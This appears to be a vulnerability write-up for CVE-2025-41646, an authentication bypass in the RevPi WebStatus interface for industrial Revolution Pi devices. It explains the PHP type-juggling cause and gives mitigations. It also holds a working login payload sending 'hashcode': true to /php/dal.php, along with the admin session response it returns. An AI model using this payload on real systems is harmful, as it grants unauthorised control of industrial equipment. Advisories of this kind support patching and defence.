π¨ CVE-2025-41646 - Critical Authentication Bypass in RevPi WebStatus (β€ v2.4.5)
𧨠Full admin access without credentials
π Targets ICS/OT environments running RevPi WebStatus
π Caused by loose equality (==
) β Type Juggling
π Summary
CVE-2025-41646 is a critical authentication bypass vulnerability discovered in RevPi WebStatus, a web-based interface used to monitor and manage Revolution Pi devices in industrial environments.
This vulnerability allows remote, unauthenticated attackers to log in as the administrator by abusing type coercion and loose equality checks (==
instead of ===
).
β οΈ Affects versions β€ v2.4.5
β
Fixed in v2.4.6
βοΈ Technical Root Cause
The backend code responsible for authentication compares user-supplied input to stored password hashes using loose equality. In languages like PHP, this means:
if ($_POST['hashcode'] == $stored_hash) {
// Evaluates true even if 'hashcode' is just true!
}
β Dangerous Result:
true == "any_password_hash" // Evaluates to TRUE due to type juggling
By passing true
(Boolean, not string) instead of a hashed password, the backend mistakenly authenticates the user.
π§ͺ Manual Exploitation (No Script)
π Step-by-Step
Target Endpoint:
POST /php/dal.php
Modify the login request in a proxy tool like Burp Suite or Postman.
Replace the body with:
{
"mode": "LOGIN",
"username": "admin",
"hashcode": true
}
Send the request.
β
Expected Response:
{
"status": "SUCCESS",
"data": {
"uuid": "...",
"hostname": "...",
"sessionId": "eyJhbGciOiJIUz..."
}
}
You now have a valid session ID and full access to the RevPi admin interface β without knowing any password.
π‘οΈ Mitigation
- π Upgrade immediately to RevPi WebStatus v2.4.6
- β
Patch introduces strict comparison logic (
===
)
- π§± Apply temporary WAF rules to block malicious JSON input if updates cannot be done immediately
- π Review all user input validation logic in your own applications
π§ Bug Bounty & Red Teaming Tip
Always test login mechanisms for:
- β
Loose equality bugs (
==
vs ===
)
- β
Boolean injection (
true
, false
)
- β
Type juggling in PHP, JavaScript, and similar loosely typed languages
High-risk systems like ICS/SCADA often lag behind on patching β making them prime targets for these logic bugs.
πΈ Real-World Exploitation Context
Captured evidence during assessment showed:
- Apache 2.4.59 (Raspbian)
- Vulnerable endpoint:
/php/dal.php
- JSON login accepted
hashcode: true
and returned a SUCCESS
response with a valid admin session ID
β
Conclusion
This vulnerability highlights the massive risk that comes from insecure coding practices, especially in safety-critical OT/ICS environments. A single loose comparison can lead to complete system compromise.
π οΈ Audit your code
π¨ Patch your systems
π§ͺ Test for logic flaws β not just buffer overflows
π§Ύ CVE: 2025-41646
π οΈ Patched Version: v2.4.6
π§ Severity: 9.8 (Critical)
π€ Impact: Admin access without password
π‘ Tested On: Apache 2.4.59 (Raspbian), RevPi WebStatus v2.4.5
βοΈ Written by: [YourNameHere]
π License: Creative Commons Attribution 4.0
π
Date: July 2025